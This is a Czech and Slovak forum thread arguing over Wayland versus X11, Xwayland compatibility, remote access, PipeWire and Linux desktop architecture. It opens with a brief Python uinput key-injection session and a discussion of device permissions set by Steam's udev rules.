[tom@silver ~]$ python2
Python 2.7.13 (default, Jul 2 2017, 22:24:59)
[GCC 7.1.1 20170621] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from uinput import Keyboard, Keys
>>> k = Keyboard("hi Wayland!")
>>> k.pressEvent([21])
>>> yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
KeyboardInterrupt
>>>
[tom@silver ~]$ ls -l /dev/uinput
crw-rw---- 1 root root 10, 223 Aug 6 11:23 /dev/uinput
To bol mimochodom python v xterme pod westonom. Mam za to, ze to sposobuje SystemD, nakolko moje Manjaro s OpenRC tento zlepsovak nema.
> Pisem Steam, nie Steam Controller.
Pokud vim, tak uinput vyzaduje Steam jen pro pouziti Steam Controlleru. Ale jelikoz na Linuxu nehraji, tak je mozne, ze se pletu.
> uinput
>>> import uinput
>>> events = (uinput.KEY_E, uinput.KEY_H, uinput.KEY_L, uinput.KEY_O)
>>> device = uinput.Device(events)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.6/site-packages/uinput/__init__.py", line 178, in __init__
self.__uinput_fd = fd or fdopen()
File "/usr/lib/python3.6/site-packages/uinput/__init__.py", line 84, in fdopen
return _libsuinput.suinput_open()
File "/usr/lib/python3.6/site-packages/uinput/__init__.py", line 70, in _open_error_handler
raise OSError(code, msg)
OSError: [Errno 19] Failed to open the uinput device: No such device
Zrejme ti Steam nainstaloval udev pravidla (steam package v archlinuxu to skutecne takto ma), ktere davaji pristup k uinput. To je chyba Steamu, nikoliv Waylandu / GNOME.
Na produkční pracovní stanici zatím jednoznačně patří Xorg, Wayland rozhodně není dostatečně odladěný. Perspektivně ale - a tohle se vám asi líbit nebude - žádná volba nebude, Linuxová grafika bude prostě postavená na Waylandu. Tedy alespoň pokud budete chtít zůstat v hlavním proudu Linuxového vývoje. Je docela možné, že někdo začne udržovat X-kovou distribuci pro ty, kteří trvají na tom, že Wayland ne, tak jako odpůrci systemd si vytvořili Devuan (a tímto snažně prosím, aby se toto vlákno nezvrtlo v tradiční flamefest o systemd!), ale dříve nebo později příjde den, kdy nové grafické aplikace pro Linux už v X11 nebudou fungovat.
Také se přimlouvám za vyhnutí se flamewar o systemd.Ale jinak mi to systemd připomíná, protože tam to také víceméně byl vynucený upgrade a nebyla moc možnost volby. Doufám jen, že upgrade na Wayland ze Xorg bude pro nás s rolling release distribucemi hezky připravený, přeinstalovávat nechci
X11 je broken by design, cele je to jeden velky hack, ktery funguje spise zazrakem (a dost castko taky nefunguje vubec) :) V podstate se da rici, ze tam uz neni v dnesni dobre nic dobre - X11 vyzaduje stary, slozity protokol, implementace musi implementovat miliardu features, ktere nikdo nepouziva (renderovani grafickych primitiv ala 80s, renderovani fontu, ....), naopak veci pro moderni desktop spolehaji na miliardu jedna rozsireni, nektere veci se neresi pro jistotu (treba HIDPI), nebo jsou jeden velky hack s potenialem rozbiti (treba lock obrazovky).
Doporucuji precist: http://www.phoronix.com/scan.php?page=article&item=x_wayland_situation&num=1
Dalsi veci je to, ze Xorg nikdo vyvijet nechce prave z duvodu toho, jak je slozity, tech core vyvojaru je par..
Jinak MIR uz je mrtvy, na desktopu nebude.
Takze suma sumarum nema moc cenu se bavit o tom, ze by Xorg mel nejakou konkurenci, to uz je ted chodici zombie, ktera postupne bude podporovana mene a mene. Uz ted je to hezky videt - GNOME 3 na waylandu je mnohem lepsi nez na Xorg napr. v podpore HiDPI displayu. Xorg tu nicmene jeste nejakou dobu bude, uz jen kvuli tomu, ze je v LTS distribucich, navic se do Waylandu porad par veci musi doplnit, ale postupne se da ocekavat mensi a mensi podpora ze strany aplikaci (oni pravdepodobne nejak na Xorg pojedou, ale uz to bude vec, na kterou nikdo moc nehledi a netestuje, v long term horizontu pravdepodobne dojde k odstraneni podpory X11 v toolkitech alespon v distribucich).
Jak je z diskuze vidět tak nejlepší bude po letech se vrátit k Windows nebo utéct k BSD. Než se vychytají chyby a případně přepíší aplikace tak asi uteče spousta uživatelů a ani se jim nedivím. Btw zkoušel někdo KDE aplikace s Xwaylanem? Zkoušel někdo alespoň základní funkčnost Virtualboxu a Wine? Asi NE! Než se Wayland nějak uchytí nebudou uživatelé. Co když jako v případě pozemní digitv za pět let někdo řekne že Wayland je nahovno a bude se tvořit Wayland2? Nakonec otázka co by to mělo obyčejnému uživateli přinést tedy mimo problémů?
Ad Co když jako v případě pozemní digitv za pět let někdo řekne že Wayland je nahovno a bude se tvořit Wayland2? - v takovém případě se dalších 20 let bude používat ten "nahovno" Wayland1, a proběhne cca deset pokusů vytvořit něco lepšího, které skončí v nejlepším případě v půlce. Nakonec nějakým zázrakem přijde Wayland2, který toho bude umět výrazně méně, půjde jen na některých grafikách, a opět nebude řešit problematiku kompletně. A v "ideálním" případě bude Wayland2 vyžadovat změny v kódu aplikací :/
To bych netvrdil. Wayland ale umí méně než X11 (neumí například vzdálený přístup), podle všeho vyžaduje i úpravy aplikací (za všechny třeba KDE - čekal bych plnou zpětnou kompatibilitu, nebo alespoň že stačí přelinkovat na novou verzi frameworku), a oproti konkurenci (MS WPF/Direct2D, Apple Core Graphics) řeší jen malou část problematiky. Pokud se ukáže, že Wayland "1" je nedostatečný, tak se bohužel dá předpokládat přesně ten chaos, který jsem popisoval na základě zkušenosti s náhradou X11.
Srovnavas hrusky s jabkama.
WPF - GUI toolkit - tomu odpovida GTK 3 / Qt, wayland ani omylem
Direct 2D - drawing toolkit - tomu odpovida Cairo, skia a podobne knihovny, opet ani omylem wayland.
Wayland nema primy ekvivalent ve Windows, nicmene kombinace KMS/Wayland/Mesa nejlepe odpovida ve Windows WDDM a D3D, castecne pak DWM (to odpovida wayland compositoru). Ale prime ekvivalenty zde nenajdeme, architektura je zde vice otevrena.
Zpetna kompatibilita zde je - to je prave Xwayland, ktery poskytuje legacy rozhrani pro aplikace (X11 protokol).
Ale pokud aplikace chce vyuzit novych moznosti Waylandu, tak samozrejme musi pouzit nativni rozhrani. Je to podobne jako ve Windows, stare win32 aplikace tez napr. nejsou schopny vyuzit HiDPI renderingu bez uprav, kdezto WPF aplikace ano.
U Linuxu je navic situace zjednodusena diky tomu, ze jen velmi malo aplikaci je psano primo vuci X11, ale typicky vuci nejakemu toolkitu (GTK, QT) - tudiz u spousty pripadu staci jen podpora v toolkitu a neni nutny prepis aplikace.
Co se tyka vzdaleneho pristupu, to je nepochopeni Waylandu, Wayland je display protokol, tudiz tyto veci resit nemusi, ty se mohou resit na aplikacni (resp. compositorove) urovni - coz prave ma delat v GNOME projekt Pipewire. Ale jinak ano, uznavam ze Windowsi RDP byl vzdycky lepsi reseni nez ekvivalentni reseni na Linuxu, necekam, ze se to zmeni (pravdou ale je, ze na Linuxu malokdo potrebuje neco jako RDP). I kdyz SPICE je alespon na protokolove urovni na mnohem lepsi technicke urovni nez tomu bylo drive.
Ad Wayland nema primy ekvivalent ve Windows - ono je to přesně opačně. Apple Core Graphics ani WPF/Direct 2D nemá na Linuxu ekvivalent. Problematika grafického výstupu se řešila původně pomocí X11 a klientské knihovny. Protože psát pomocí X11lib bylo jen pro otrlé, postupně vznikly X Toolkit, Athena, Motif, XView, recentněji GTK, Qt, GTK+ a další. A protože je potřeba řešit i 2D grafiku a její tisk, vznikly knihovny jako Cairo, které na jedné straně poskytují API pro 2D kreslení, a na druhé straně mají výstup pro Xlib, XCB, OpenGL, blitz, DirectFB, PDF, PS atd.
Nevím jestli tomuhle říkáte "otevřený design", ale rozhodně tomu neříkejte "architektura", protože ta to rozhodně není. Všechno se implementuje na deset způsobů, zpravidla polovičatě a přes ruku, a výsledkem je guláš. Nahrazení X11 něčím rozumným bylo jedinečnou možností ten bordel uklidit. Bohužel se to nepovedlo. Jenom se jeden střípek z mozaiky vyjmul, a nahradil jiným, s tím že kde nepasuje, tam se pracuje okolo něj.
Ad Zpetna kompatibilita zde je, to je prave Xwayland - kdyby to opravdu fungovalo, tak není jediný důvod měnit cokoliv na straně aplikací. Máte systém s Waylandem, nové aplikace jedou přes Wayland, staré přes X11, a všechno na 100% funguje. Jenže ono to tak moc nefunguje, že?
Ad jen velmi malo aplikaci je psano primo vuci X11, ale typicky vuci nejakemu toolkitu (GTK, QT), tudiz u spousty pripadu staci jen podpora v toolkitu a neni nutny prepis aplikace - to ve Windows podobné, akorát to tam opravdu funguje. Aplikace psané pro GDI(+) prostě fungují dál i po zavedení WPF+Direct2D. Změnily se akorát vnitřnosti API, a to vývojáře nemusí trápit.
Ad co se tyka vzdaleneho pristupu, to je nepochopeni Waylandu, Wayland je display protokol, tudiz tyto veci resit nemusi, ty se mohou resit na aplikacni (resp. compositorove) urovni - jenže Wayland je náhrada X11. Pokud něco nahrazujete, tak by nová věc měla umět minimálně tolik, co ta stará. Ne že se přejde na Wayland, a pak se léta bude řešit, co se vzdáleným přístupem. Pokud jde o možná řešení, tak to vypadá "tradičně": viděl jsem těch řešení nastíněných víc, vyvíjejí se paralelně a bez jakékoliv koordinace, to samé se řeší vícekrát různými způsoby. Třeba to jednou někdo dotáhne do konce. A když budete mít veliké štěstí, tak výsledek bude umět předávat na zobrazující stranu primitiva (informace jak obraz poskládat), a ne grabnutý obrázek. Akorát díky absenci rozumné architektury nějak nevím, jak by to chtěli pánové udělat.
Když to shrnu, tak od doby Unix Wars se Unixy jako platforma rozvíjejí chaoticky a bez jakékoliv koncepce. Na Linuxu to pak dosahuje vrcholu. Většina problémů dnešních Linuxu není způsobená zlým MS nebo zlými výrobci HW. Je způsobená chaotickým vývojem bez jakéhokoliv konceptu, který připomíná pejska a kočičku, když vařili dort. Kdo může za to, že Wayland v době uvádění do dister nemá vyřešený vzdálený přístup? Nedostatečná koordinace, absence jasné architektury. Kdo může za to, že snad každá aplikace má jiné widgety, a mezi aplikacemi se liší i rendrování fontů? Nedostatečná koordinace, absence jasné architektury. Totéž u SNAFU ohledně ALSA/PulseAudio, atd. atd. Je to důvod naprosté většiny problémů, a těch je ve světě Linuxu velká spousta (vyzdvihnul bych obrovské počty regresí v kernelu):
https://itvision.altervista.org/why.linux.is.not.ready.for.the.desktop.current.html
Pro uživatele to všechno znamená spoustu komplikací, které se obecně považují za "daň z používání Linuxu". Jenže ono se i UI distribucí mění radikálně a nepředvídatelně. Když Ubuntu přišlo s Unity, byla to den ze dne veliká změna, a Unity bylo ve stavu mizerné alpha verze, ne hotového produktu. Podobně mizerně na tom byly svého času první verze KDE 4. A naprosto nepochopitelně se "za pochodu" mění i umístění "zavírátek" u oken. Jako sorry, ale i velmi hlasitě kritizované změny mezi Win7 a Win8 je proti tomu možné hodnotit jako relativně promyšlené a funkční (byť při hodnocení bez srovnání s Linuxem to byla dost katastrofa).
Nechci končit pesimisticky, ale zdá se mi, že se (nejen) desktopový Linux jako projekt potácí v zásadních problémech, způsobených vývojem ve stylu bazaar. Dost vypovídá i to, že kde se Linux více používá, tam jde především o opis funkcionality tradičních Unixů: spustit server napsaný v C a nechat běžet. Případně použít kernel a použít všechno ostatní vzít odjinud (v případě Androidu drivery a celý runtime včetně libc a Skia).
> Ad Wayland nema primy ekvivalent ve Windows - ono je to přesně opačně. Apple Core Graphics ani WPF/Direct 2D nemá na Linuxu ekvivalent. Problematika grafického výstupu se řešila původně pomocí X11 a klientské knihovny. Protože psát pomocí X11lib bylo jen pro otrlé, postupně vznikly X Toolkit, Athena, Motif, XView, recentněji GTK, Qt, GTK+ a další. A protože je potřeba řešit i 2D grafiku a její tisk, vznikly knihovny jako Cairo, které na jedné straně poskytují API pro 2D kreslení, a na druhé straně mají výstup pro Xlib, XCB, OpenGL, blitz, DirectFB, PDF, PS atd.
No, chaos to je, to se nehadam. Ale vadi to ? Me osobne ne - dulezite je si uvedomit, ze to jsou vsechno moznosti, diky tomu je mozne treba velmi osekany Linux pouzit na nejruznejsich prapodivnych platformach. A navic michas zastarale technologie s modernimi (a prave tento postupny vyvoj je diky takove otevrene architekture mozny). Je to lepsi ? Asi jak na co. Ale tak to v Linuxu je, dulezite je, ze je na tom mozne ten desktop postavit funkcni (zkus si predstavit, ze se omezis treba na GTK 3, GNOME 3 API, Clutter a Wayland - to je ekvivalentem situace v jinych OS).
> Ad Zpetna kompatibilita zde je, to je prave Xwayland - kdyby to opravdu fungovalo, tak není jediný důvod měnit cokoliv na straně aplikací. Máte systém s Waylandem, nové aplikace jedou přes Wayland, staré přes X11, a všechno na 100% funguje. Jenže ono to tak moc nefunguje, že?
Funguje, proc by nefungovalo ? X11 aplikace mi pres Xwayland funguji az na vyjimky zcela bezproblemu, kdyz uz je obcas pustim.
> Ad jen velmi malo aplikaci je psano primo vuci X11, ale typicky vuci nejakemu toolkitu (GTK, QT), tudiz u spousty pripadu staci jen podpora v toolkitu a neni nutny prepis aplikace - to ve Windows podobné, akorát to tam opravdu funguje. Aplikace psané pro GDI(+) prostě fungují dál i po zavedení WPF+Direct2D. Změnily se akorát vnitřnosti API, a to vývojáře nemusí trápit.
Tady to ale funguje taky :-)) Nebo se bavme o nejakych konkretnich zasadnich problemech. Ze je obcas nekde nejaky problem, tomu se clovek nevyhne na zadne platforme pri takto zasadnich zmenach...
> Ad co se tyka vzdaleneho pristupu, to je nepochopeni Waylandu, Wayland je display protokol, tudiz tyto veci resit nemusi, ty se mohou resit na aplikacni (resp. compositorove) urovni - jenže Wayland je náhrada X11. Pokud něco nahrazujete, tak by nová věc měla umět minimálně tolik, co ta stará. Ne že se přejde na Wayland, a pak se léta bude řešit, co se vzdáleným přístupem. Pokud jde o možná řešení, tak to vypadá "tradičně": viděl jsem těch řešení nastíněných víc, vyvíjejí se paralelně a bez jakékoliv koordinace, to samé se řeší vícekrát různými způsoby. Třeba to jednou někdo dotáhne do konce. A když budete mít veliké štěstí, tak výsledek bude umět předávat na zobrazující stranu primitiva (informace jak obraz poskládat), a ne grabnutý obrázek. Akorát díky absenci rozumné architektury nějak nevím, jak by to chtěli pánové udělat.
Nemusi. To je jedna z vyhod Linuxu na GUI (ano, plyne i z toho, ze nemusime napr, drzet ABI kompatibilitu), obcas se proste muzou udelat nekompatibilni zmeny :-) A tady ty nekompatibilni zmeny jsou proste potreba kvuli zastaralemu navrhu X11 (treba security).
A remote pristup neresil ani X11, on umel renderovat po siti, ale uz ne treba migrovat na jiny X11 server za behu aplikace nebo takto resit vzdaleny desktop (vzdy per aplikace). Takze to cele bylo na nic.
A reseni je PipeWire, ktere se snad dostane do pristi Fedory.
> Když to shrnu, tak od doby Unix Wars se Unixy jako platforma rozvíjejí chaoticky a bez jakékoliv koncepce. Na Linuxu to pak dosahuje vrcholu. Většina problémů dnešních Linuxu není způsobená zlým MS nebo zlými výrobci HW. Je způsobená chaotickým vývojem bez jakéhokoliv konceptu, který připomíná pejska a kočičku, když vařili dort. Kdo může za to, že Wayland v době uvádění do dister nemá vyřešený vzdálený přístup? Nedostatečná koordinace, absence jasné architektury. Kdo může za to, že snad každá aplikace má jiné widgety, a mezi aplikacemi se liší i rendrování fontů? Nedostatečná koordinace, absence jasné architektury. Totéž u SNAFU ohledně ALSA/PulseAudio, atd. atd. Je to důvod naprosté většiny problémů, a těch je ve světě Linuxu velká spousta (vyzdvihnul bych obrovské počty regresí v kernelu):
https://itvision.altervista.org/why.linux.is.not.ready.for.the.desktop.current.html
Regrese v kernelu jsou velky problem, to souhlasim.
ALSA vs PulseAudio - v cem je tam problem ? To je standardni reseni mit low level sound API a nad tim vybudovany v userspace sound daemon. Pokud vim, ve Windows to funguje plus minus stejne.
Vzdaleny pristup samozrejme je problem je, je to takovy evergreen Linuxu ale uz :-) Je pravda, ze to clovek to na Linuxu potrebuje mene nez na Windows, ale stejne.
> Pro uživatele to všechno znamená spoustu komplikací, které se obecně považují za "daň z používání Linuxu". Jenže ono se i UI distribucí mění radikálně a nepředvídatelně. Když Ubuntu přišlo s Unity, byla to den ze dne veliká změna, a Unity bylo ve stavu mizerné alpha verze, ne hotového produktu. Podobně mizerně na tom byly svého času první verze KDE 4. A naprosto nepochopitelně se "za pochodu" mění i umístění "zavírátek" u oken. Jako sorry, ale i velmi hlasitě kritizované změny mezi Win7 a Win8 je proti tomu možné hodnotit jako relativně promyšlené a funkční (byť při hodnocení bez srovnání s Linuxem to byla dost katastrofa).
Souhlas. Ale to uz je holt dane i jinym zpusobem vyvoje a distribuce. Na Linuxu mam bud bleeding edge verze (kde pri majoritnim upgradu se holt dost casto neco nepovede, nova verze neumi co ma atd.) a nebo proste konzervativne zustavam u LTS.
> Nechci končit pesimisticky, ale zdá se mi, že se (nejen) desktopový Linux jako projekt potácí v zásadních problémech, způsobených vývojem ve stylu bazaar. Dost vypovídá i to, že kde se Linux více používá, tam jde především o opis funkcionality tradičních Unixů: spustit server napsaný v C a nechat běžet. Případně použít kernel a použít všechno ostatní vzít odjinud (v případě Androidu drivery a celý runtime včetně libc a Skia).
A to je prave vsechno mozne diky tomuhle bordelu :-)
Diky tomu muze existovat napr. Android, Tizen, ChromeOS a dalsi projekty. Ze si z toho vezmu co chci, seknu to na nejake vrstve a zbytek doplnim kodem pro vlastni potrebu.
Jen nesmysl divat se na vsechny veci v GUI Linuxu optikou MS - tedy dodam API, musim ho podporovat dalsich 10 let, zmeny budou komplikovane. Zde je mnohem vetsi volnost a moznost customizace.
Samozrejme, ze velke knihovny (jako je napr. GTK 3) to budou delat stejne, ale neni to pravidlem u kazde jednotlive technologie.
A ze se dobre pouzitelny desktop na tom vybudovat da jde videt treba na prikladu toho GNOME 3 (GNOME 3 haters: nebavim se o tom, jestli se vam to prostredi libi, nebo ne - ale o tom, zda je pouzitelne pro normalniho uzivatele) nebo treba ChromeOS.
Ad chaos to je, to se nehadam - jednak mě těší že ten chaos vnímíte (což u řady jiných diskutérů postrádám), a pak musím upřímně ocenit váš nezdolný optimismus.
Ad diky tomu je mozne treba velmi osekany Linux pouzit na nejruznejsich prapodivnych platformach - Na prapodivných platformách můžete technicky běžet třeba Windows, které nakonec běží na všem od Raspberry Pi 2, přes mobily, tablety a desktopy až po servery. Není věc technická. U Linuxu je to spíš o nulové ceně, a o tom že autoři nechají s kódem kohokoliv dělat cokoliv. Což má ten důsledek, že si Linux často vybírají výrobci telefonů (Android), WiFi a ADSL routerů, televizí, set-top boxů apod., a vede to k obrovské bezpečnostní katastrofě, které jsme nyní všichni svědky.
Ad zkus si predstavit, ze se omezis treba na GTK 3, GNOME 3 API, Clutter a Wayland - to bohužel není ekvivalent situace na jiných OS, protože je to ve srovnání s konkurencí pořád dost chudé API. Ale kdyby se opravdu autoři omezili na nějakou podobnou kombinaci, tak by mohli soustředit síly na dopracování chybějící funkcionality a zvýšení spolehlivosti, místo aby ta samá lidská síla vyvíjela polotovary stylem pejska a kočičky.
Ad navic michas zastarale technologie s modernimi (a prave tento postupny vyvoj je diky takove otevrene architekture mozny) - ve Windows 10 spustím aplikaci psanou pro Windows 95, a ve 32-bitových i aplikaci pro Win16 nebo DOS. Bez jakékoliv modifikace.
Ad X11 aplikace mi pres Xwayland funguji az na vyjimky zcela bezproblemu - no právě, ty výjimky.
Ad remote pristup neresil ani X11 - nebylo to zdaleka dokonalé řešení, ale bylo to alespoň něco. Wayland neumí ani to málo. Ohledně Pipewire se nechám překvapit, ale zatím to vypadá, že v nejlepším případě bude umět grabovat obrazovku, a nikoliv dodávat zobrazující straně instrukce ke kreslení obrazu. Jinými slovy to bude stejně mizerné, jako VNC ve srovnání s RDP. Mimochodem tohle je podle Gnome blogu web projektu Pipewire. We are also working now on a proper website for PipeWire, a od června asi nebyl čas ani udělat home page projektu.
https://people.freedesktop.org/~wtay/
Zdroj: https://blogs.gnome.org/uraeus/2017/06/20/fedora-workstation-26-and-beyond/
Zajímavé jsou i postřehy Dereka Foremana (Senior Open Source Developer with Samsung's Open Source Group). File descriptor passing is used extensively in the protocol. ... Obviously you can’t (usefully) pass a file descriptor over the network. ... Keyboard repeat is handled on the client side, so if you have a dodgy network connection and a key press packet arrives but the key release packet is delayed, the client would start repeating keys. ... Buffers are shared between the client and compositor… somehow... Dvacet let snahy o nahrazení X11, a výsledek zjevně nepočítá se vzdáleným přístupem? Existuje vůbec nějaká zadávací dokumentace pro Wayland (přičemž "X11 sux" nepočítám), která by popisovala cílový stav pro prvních pár verzí, a nastiňovala možnosti dalšího rozvoje? Tipnu si, že jako u většiny vývoje stylu bazaar není. Jak jsem psal: pejsek a kočička vaří dort :/
https://blogs.s-osg.org/wow-wayland-over-wire/
Ad clovek to na Linuxu potrebuje mene nez na Windows - to si myslíte, protože ten vzdálený přístup nemáte. Kdybyste ho měli, možná byste měli i kvalitnější admin UI (a nejlépe unifikované, stejně jako command line tools), a stejně jako ve Windows byste neměli důvod se vůbec připojovat přes textovou konzoli. V těch vzácných případech, kdy ta konzole je potřeba, se dá prostě pustit přes RDP. Jenže protože vývoj zamrzl někdy začátkem devadesátých let, tak máte pro administraci systému prakticky výhradně nástroje, které byly k dispozici v té době, a jsou dneska součástí POSIXu.
Ad ALSA vs PulseAudio, v cem je tam problem - třeba v tomhle, doporučuji si přečíst komentáře. Sorry, ale takhle nevypadá kvalitně navržená architektura MM subsystému. Takhle vypadá výsledek toho, když pejsek a kočička vaří dort.
https://bugzilla.mozilla.org/show_bug.cgi?id=1345661
Ad Zde je mnohem vetsi volnost a moznost customizace - což bohužel vede k tomu, že je Linux peklo pro vývojáře, a vysloveně nepřátelský pro uživatele.
Ad se dobre pouzitelny desktop na tom vybudovat da - jenže desktopové prostředí je jen část celé věci. Aby OS pro uživatele fungoval, měl minimum defektů a byl predikovatelný, tak nestačí nahrnout na jednu hromadu to co se tak nějak urodilo, a doufat, že to bude stabilně fungovat. Protože pak vypadá výsledek nějak takhle:
http://www.sliptalk.com/homemade-cars/
Pls neberte to jako hate. Je samozřejmě úžasné, že se amatérům bez jakéhokoliv pokusu o systémovou architekturu podařilo napsat funkční kernel, který je podstatě použitelný, a díky nulové ceně dokonce používaný. A je úžasné, že se poměrně malému počtu lidí s minimální koordinací během let povedlo vytvořit v podstatě funkční desktopové prostředí (byť šlo zpočátku o kopii CDE od HP). Jenže to má své limity. Kernel, libc a utility mají design daný převážně od univerzit a Bell Labs, takže stačí napsat to co popisuje dokumentace a co kdysi učili na školách (tj. klasický unixový monolitický kernel s BKL). Bohužel kde tohle vedení chybí, tam se vývoj rozpadá. Tenhle bazaar pak vede k věčným polotovarům, a ne k hotovým, dotaženým a funkčním produktům. Někdy z toho guláše něco vytáhne komerční firma a něco dalšího na tom postaví, třeba Google. Ale všimněte si, že i ten Google podle všeho zahodí Linux ve prospěch Fuchsia OS.
https://en.wikipedia.org/wiki/Google_Fuchsia
> Ad diky tomu je mozne treba velmi osekany Linux pouzit na nejruznejsich prapodivnych platformach - Na prapodivných platformách můžete technicky běžet třeba Windows, které nakonec běží na všem od Raspberry Pi 2, přes mobily, tablety a desktopy až po servery. Není věc technická. U Linuxu je to spíš o nulové ceně, a o tom že autoři nechají s kódem kohokoliv dělat cokoliv. Což má ten důsledek, že si Linux často vybírají výrobci telefonů (Android), WiFi a ADSL routerů, televizí, set-top boxů apod., a vede to k obrovské bezpečnostní katastrofě, které jsme nyní všichni svědky.
Je to vec technicka, protoze otevrena platforma, kde mohu spoustu veci (resp. temer vse) vymenit mi dava velke technicke moznosti, jak tam dostat prakticky cokoliv na jakekoliv platforme :)
Situace s pristupem vendoru k bezpecnostnim aktualizacim je tristni - bohuzel. Na to nejde moc co rict, proste to tak je :) U Androidu se s verzi 8 situace asi zlepsi, Google to podle vseho chce vzit trochu do vlastnich rukou (coz naprosto chapu, proc nechteli, ale vznika z toho celkem globalni problem - i kdyz je mi to reseni principialne protivne, aby Google resil problem vyrobcu, jinak to bohuzel asi nepujde). Holt se vyrobci Android telefonu chteji degradovat na montovny HW, jejichz nejvetsi inovace je zprasene GUI, aby to nevypadalo stejne jako jiny Android telefon (PROC, PROC tam nenechat ten dobre pouzitelny default??). Skoda. Proto si telefony kupuji od Google, ktery je aktualizuje :)
> Ad zkus si predstavit, ze se omezis treba na GTK 3, GNOME 3 API, Clutter a Wayland - to bohužel není ekvivalent situace na jiných OS, protože je to ve srovnání s konkurencí pořád dost chudé API. Ale kdyby se opravdu autoři omezili na nějakou podobnou kombinaci, tak by mohli soustředit síly na dopracování chybějící funkcionality a zvýšení spolehlivosti, místo aby ta samá lidská síla vyvíjela polotovary stylem pejska a kočičky.
To je klasicky argument katedrala vs bazar. Oboje ma svoje vyhody i nevyhody. Takze o tomhle moc argumentovat nechci, protoze tam se vysledku stejne nedobereme :-)
Ale jen tak treba pro zajimavost, me tahle kombinace chuda neprijde - co ti tam chybi ?
> Ad navic michas zastarale technologie s modernimi (a prave tento postupny vyvoj je diky takove otevrene architekture mozny) - ve Windows 10 spustím aplikaci psanou pro Windows 95, a ve 32-bitových i aplikaci pro Win16 nebo DOS. Bez jakékoliv modifikace.
> Ad X11 aplikace mi pres Xwayland funguji az na vyjimky zcela bezproblemu - no právě, ty výjimky.
No a ty vyjimky najdeme i ve Windows. Dost casto za to muzou spatne napsane aplikace (zprasene).
Ale MS samozrejme na udrzeni zpetne kompatibility musi vynakladat mnohem vetsi usili diky svemu ekosystemu. Linuxovi vendroi ne - poskytuji nejake defaultni DE vetsinou (bavim se ted o necem jako je RHEL), maji pod kontrolou aplikace, ktere se tam budou instalovat, tudiz je mnohem mensi problem. A obecne si nemyslim, ze je nutna 100% kompatibilita GUI aplikaci, staci ze pobezi drtiva vetsina.
> Zajímavé jsou i postřehy Dereka Foremana (Senior Open Source Developer with Samsung's Open Source Group). File descriptor passing is used extensively in the protocol. ... Obviously you can’t (usefully) pass a file descriptor over the network. ... Keyboard repeat is handled on the client side, so if you have a dodgy network connection and a key press packet arrives but the key release packet is delayed, the client would start repeating keys. ... Buffers are shared between the client and compositor… somehow... Dvacet let snahy o nahrazení X11, a výsledek zjevně nepočítá se vzdáleným přístupem? Existuje vůbec nějaká zadávací dokumentace pro Wayland (přičemž "X11 sux" nepočítám), která by popisovala cílový stav pro prvních pár verzí, a nastiňovala možnosti dalšího rozvoje? Tipnu si, že jako u většiny vývoje stylu bazaar není. Jak jsem psal: pejsek a kočička vaří dort :/
https://blogs.s-osg.org/wow-wayland-over-wire/
O designu waylandu se muzes docist zde - https://wayland.freedesktop.org/
To, co pise Derek, je pravda - ale rekl bych, ze to proste moc nepochopil. Wayland byl od pocatku navrzeny jako protokol, ktery nebude sitovy - proto pouziva FD, GPU buffery a dalsi veci, ktere po siti principialne fungovat nebudou a nemohou.
O tom, ze to nebude fungovat dobre bych se mozna i hadal - RDP je v tomhle efektivnejs, to je pravda. Ale dobre fungovat to muze - celkem bezne pouzivam napr. SPICE na KVM hosty, pouzitelne to je bez jakychkoliv vetsich problemu. A pro SPICE existuje i backend pro Weston - takze resitelne to je.
> Ad clovek to na Linuxu potrebuje mene nez na Windows - to si myslíte, protože ten vzdálený přístup nemáte. Kdybyste ho měli, možná byste měli i kvalitnější admin UI (a nejlépe unifikované, stejně jako command line tools), a stejně jako ve Windows byste neměli důvod se vůbec připojovat přes textovou konzoli. V těch vzácných případech, kdy ta konzole je potřeba, se dá prostě pustit přes RDP. Jenže protože vývoj zamrzl někdy začátkem devadesátých let, tak máte pro administraci systému prakticky výhradně nástroje, které byly k dispozici v té době, a jsou dneska součástí POSIXu.
Ja ti teda nevim, ale delam i s Windows Serverem a 99% casu travim v PowerShellu, takze neco klikat v nejakem GUI me nelaka ani na Windows, ani na Linuxu :)
Navic soucasnym trendem je kontejnerizace serveru a jejich orchestrace pomoci nastroju jako je Docker - to pouziti nejakeho admin GUI taky docela vylucuje.
> Ad ALSA vs PulseAudio, v cem je tam problem - třeba v tomhle, doporučuji si přečíst komentáře. Sorry, ale takhle nevypadá kvalitně navržená architektura MM subsystému. Takhle vypadá výsledek toho, když pejsek a kočička vaří dort.
https://bugzilla.mozilla.org/show_bug.cgi?id=1345661
A v cem konkretne ? FF se rozhodnul dropnout podporu pro ALSA only backend, protoze se to tyka velmi maleho mnozstvi uzivatelu spise obskurnich distribuci. Podporovat jen PA je pro ne mnohem jednodussi (a dava to smysl navic). Je to asi na urovni toho, ze by nekdo nadaval nejakemu programu na Windows, ze prestal fungovat, protoze si ze systemu odparal DirectSound a ma jen Core Audio (zde teda kazde to api dela neco jineho - ale je to priklad lowlevel vs high level sound api). Jediny rozdil je, ze na Linuxu to jde a na Windows ne. A protoze to na Linuxu jde, tak holt uzivatele, co neco takoveho udelaji, obcas musi nest nasledky. Muzeme to nazvat dan za svobodu volby :)
Pokud uzivatel pouzije nejakou mainstreamovou distribuci (RHEL napr.), tak tam PA bude, FF funguje atd.
Rekl bych, ze moc nechapes to, ze Linuxovy SW je spise skladacka, lego, ze ktereho si teprve ten OS postavis. A to je presne to, co delaji vendori distribuci (s vetsim, ci mensim uspechem). Nema smysl srovnavat Windows napr. se Slackem ci Arch Linuxem, ale s necim jako je RHEL ci aspon Fedora, kde veci typicky funguji out of the box. A to plati na spoustu dalsich veci, ktere jsi k tomu psal dal.
